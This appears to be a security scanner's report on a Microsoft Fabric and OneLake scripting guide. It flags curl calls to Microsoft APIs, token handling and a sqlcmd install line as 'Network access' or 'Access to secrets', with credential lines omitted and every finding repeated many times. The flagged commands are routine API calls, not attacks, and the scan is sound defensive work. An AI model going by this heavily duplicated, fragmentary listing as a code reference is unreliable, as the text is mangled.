--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 407
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 407
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \ - Network accessline 421
fetch_all_pages() { local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 421
fetch_all_pages() { local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 421
fetch_all_pages() { local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 421
fetch_all_pages() { local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 421
fetch_all_pages() { local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 421
fetch_all_pages() { local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 421
fetch_all_pages() { local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 421
fetch_all_pages() { local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 422
local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" local ALL_ITEMS="[]" - Network accessline 422
local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" local ALL_ITEMS="[]" - Network accessline 422
local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" local ALL_ITEMS="[]" - Network accessline 422
local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" local ALL_ITEMS="[]" - Network accessline 422
local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" local ALL_ITEMS="[]" - Network accessline 422
local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" local ALL_ITEMS="[]" - Network accessline 422
local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" local ALL_ITEMS="[]" - Network accessline 422
local URL="$1" local RESOURCE="https://api.fabric.microsoft.com" local ALL_ITEMS="[]" - Network accessline 423
local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 423
local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 423
local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 423
local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 423
local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 423
local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 423
local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 423
local RESOURCE="https://api.fabric.microsoft.com" - Network accessline 442
# Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 442
# Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 442
# Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 442
# Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 442
# Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 442
# Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 442
# Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 442
# Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 443
ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 443
ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 443
ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 443
ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 443
ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 443
ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 443
ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 443
ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces") - Network accessline 454
# Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}' - Network accessline 454
# Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}' - Network accessline 454
# Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}' - Network accessline 454
# Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}' - Network accessline 454
# Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}' - Network accessline 454
# Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}' - Network accessline 454
# Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}' - Network accessline 454
# Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}' - Network accessline 458
[Credential-related source omitted] - Network accessline 458
[Credential-related source omitted] - Network accessline 458
[Credential-related source omitted] - Network accessline 458
[Credential-related source omitted] - Network accessline 458
[Credential-related source omitted] - Network accessline 458
[Credential-related source omitted] - Network accessline 458
[Credential-related source omitted] - Network accessline 458
[Credential-related source omitted] - Network accessline 459
[Credential-related source omitted] - Network accessline 459
[Credential-related source omitted] - Network accessline 459
[Credential-related source omitted] - Network accessline 459
[Credential-related source omitted] - Network accessline 459
[Credential-related source omitted] - Network accessline 459
[Credential-related source omitted] - Network accessline 459
[Credential-related source omitted] - Network accessline 459
[Credential-related source omitted] - Network accessline 460
--resource https://api.fabric.microsoft.com \ - Network accessline 460
--resource https://api.fabric.microsoft.com \ - Network accessline 460
--resource https://api.fabric.microsoft.com \ - Network accessline 460
--resource https://api.fabric.microsoft.com \ - Network accessline 460
--resource https://api.fabric.microsoft.com \ - Network accessline 460
--resource https://api.fabric.microsoft.com \ - Network accessline 460
--resource https://api.fabric.microsoft.com \ - Network accessline 460
--resource https://api.fabric.microsoft.com \ - Network accessline 469
local RESPONSE=$(curl "${CURL_ARGS[@]}") - Network accessline 469
local RESPONSE=$(curl "${CURL_ARGS[@]}") - Network accessline 469
local RESPONSE=$(curl "${CURL_ARGS[@]}") - Network accessline 469
local RESPONSE=$(curl "${CURL_ARGS[@]}") - Network accessline 469
local RESPONSE=$(curl "${CURL_ARGS[@]}") - Network accessline 469
local RESPONSE=$(curl "${CURL_ARGS[@]}") - Network accessline 469
local RESPONSE=$(curl "${CURL_ARGS[@]}") - Network accessline 469
local RESPONSE=$(curl "${CURL_ARGS[@]}") - Network accessline 483
while true; do sleep "$RETRY" local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 483
while true; do sleep "$RETRY" local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 483
while true; do sleep "$RETRY" local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 483
while true; do sleep "$RETRY" local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 483
while true; do sleep "$RETRY" local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 483
while true; do sleep "$RETRY" local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 483
while true; do sleep "$RETRY" local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 483
while true; do sleep "$RETRY" local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 484
[Credential-related source omitted] - Network accessline 484
[Credential-related source omitted] - Network accessline 484
[Credential-related source omitted] - Network accessline 484
[Credential-related source omitted] - Network accessline 484
[Credential-related source omitted] - Network accessline 484
[Credential-related source omitted] - Network accessline 484
[Credential-related source omitted] - Network accessline 484
[Credential-related source omitted] - Network accessline 485
local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 485
local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 485
local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 485
local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 485
local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 485
local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 485
local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 485
local STATUS_JSON=$(curl -s "$OP_URL" \ - Network accessline 504
OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token. - Network accessline 504
OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token. - Network accessline 504
OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token. - Network accessline 504
OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token. - Network accessline 504
OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token. - Network accessline 504
OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token. - Network accessline 504
OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token. - Network accessline 504
OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token. - Network accessline 505
here because the audience is `https://storage.azure.com`, not the Fabric API. - Network accessline 505
here because the audience is `https://storage.azure.com`, not the Fabric API. - Network accessline 505
here because the audience is `https://storage.azure.com`, not the Fabric API. - Network accessline 505
here because the audience is `https://storage.azure.com`, not the Fabric API. - Network accessline 505
here because the audience is `https://storage.azure.com`, not the Fabric API. - Network accessline 505
here because the audience is `https://storage.azure.com`, not the Fabric API. - Network accessline 505
here because the audience is `https://storage.azure.com`, not the Fabric API. - Network accessline 505
here because the audience is `https://storage.azure.com`, not the Fabric API. - Network accessline 508
> **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`. - Network accessline 508
> **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`. - Network accessline 508
> **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`. - Network accessline 508
> **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`. - Network accessline 508
> **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`. - Network accessline 508
> **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`. - Network accessline 508
> **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`. - Network accessline 508
> **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`. - Network accessline 511
[Credential-related source omitted] - Network accessline 511
[Credential-related source omitted] - Network accessline 511
[Credential-related source omitted] - Network accessline 511
[Credential-related source omitted] - Network accessline 511
[Credential-related source omitted] - Network accessline 511
[Credential-related source omitted] - Network accessline 511
[Credential-related source omitted] - Network accessline 511
[Credential-related source omitted] - Network accessline 512
ONELAKE="https://onelake.dfs.fabric.microsoft.com" - Network accessline 512
ONELAKE="https://onelake.dfs.fabric.microsoft.com" - Network accessline 512
ONELAKE="https://onelake.dfs.fabric.microsoft.com" - Network accessline 512
ONELAKE="https://onelake.dfs.fabric.microsoft.com" - Network accessline 512
ONELAKE="https://onelake.dfs.fabric.microsoft.com" - Network accessline 512
ONELAKE="https://onelake.dfs.fabric.microsoft.com" - Network accessline 512
ONELAKE="https://onelake.dfs.fabric.microsoft.com" - Network accessline 512
ONELAKE="https://onelake.dfs.fabric.microsoft.com" - Access to secretsline 513
[Credential-related source omitted] - Access to secretsline 513
[Credential-related source omitted] - Access to secretsline 513
[Credential-related source omitted] - Access to secretsline 513
[Credential-related source omitted] - Access to secretsline 513
[Credential-related source omitted] - Access to secretsline 513
[Credential-related source omitted] - Access to secretsline 513
[Credential-related source omitted] - Access to secretsline 513
[Credential-related source omitted] - Network accessline 522
# Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 522
# Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 522
# Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 522
# Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 522
# Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 522
# Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 522
# Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 522
# Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 523
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 523
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 523
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 523
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 523
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 523
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 523
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 523
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq . - Network accessline 525
# Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 525
# Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 525
# Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 525
# Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 525
# Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 525
# Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 525
# Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 525
# Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 526
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 526
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 526
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 526
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 526
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 526
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 526
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 526
curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq . - Network accessline 532
curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}" - Network accessline 532
curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}" - Network accessline 532
curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}" - Network accessline 532
curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}" - Network accessline 532
curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}" - Network accessline 532
curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}" - Network accessline 532
curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}" - Network accessline 532
curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}" - Network accessline 544
# Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 544
# Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 544
# Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 544
# Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 544
# Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 544
# Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 544
# Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 544
# Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 545
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 545
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 545
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 545
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 545
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 545
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 545
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 545
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 547
# Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 547
# Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 547
# Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 547
# Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 547
# Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 547
# Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 547
# Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 547
# Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 548
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 548
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 548
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 548
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 548
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 548
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 548
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 548
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \ - Network accessline 551
# Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 551
# Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 551
# Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 551
# Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 551
# Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 551
# Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 551
# Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 551
# Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 552
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 552
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 552
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 552
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 552
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 552
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 552
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 552
curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \ - Network accessline 559
curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}" - Network accessline 559
curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}" - Network accessline 559
curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}" - Network accessline 559
curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}" - Network accessline 559
curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}" - Network accessline 559
curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}" - Network accessline 559
curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}" - Network accessline 559
curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}" - Network accessline 565
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 565
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 565
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 565
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 565
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 565
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 565
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 565
curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0" - Network accessline 580
- **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS), or download from https://aka.ms/go-sqlcmd - Network accessline 580
- **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS), or download from https://aka.ms/go-sqlcmd - Network accessline 580
- **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS), or download from https://aka.ms/go-sqlcmd - Network accessline 580
- **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS), or download from https://aka.ms/go-sqlcmd - Network accessline 580
- **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS), or download from https://aka.ms/go-sqlcmd - Network accessline 580
- **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS), or download from https://aka.ms/go-sqlcmd - Network accessline 580
- **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS), or download from https://aka.ms/go-sqlcmd - Network accessline 580
- **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS), or download from https://aka.ms/go-sqlcmd - Network accessline 581
or download from https://aka.ms/go-sqlcmd - Network accessline 581
or download from https://aka.ms/go-sqlcmd - Network accessline 581
or download from https://aka.ms/go-sqlcmd - Network accessline 581
or download from https://aka.ms/go-sqlcmd - Network accessline 581
or download from https://aka.ms/go-sqlcmd - Network accessline 581
or download from https://aka.ms/go-sqlcmd - Network accessline 581
or download from https://aka.ms/go-sqlcmd - Network accessline 581
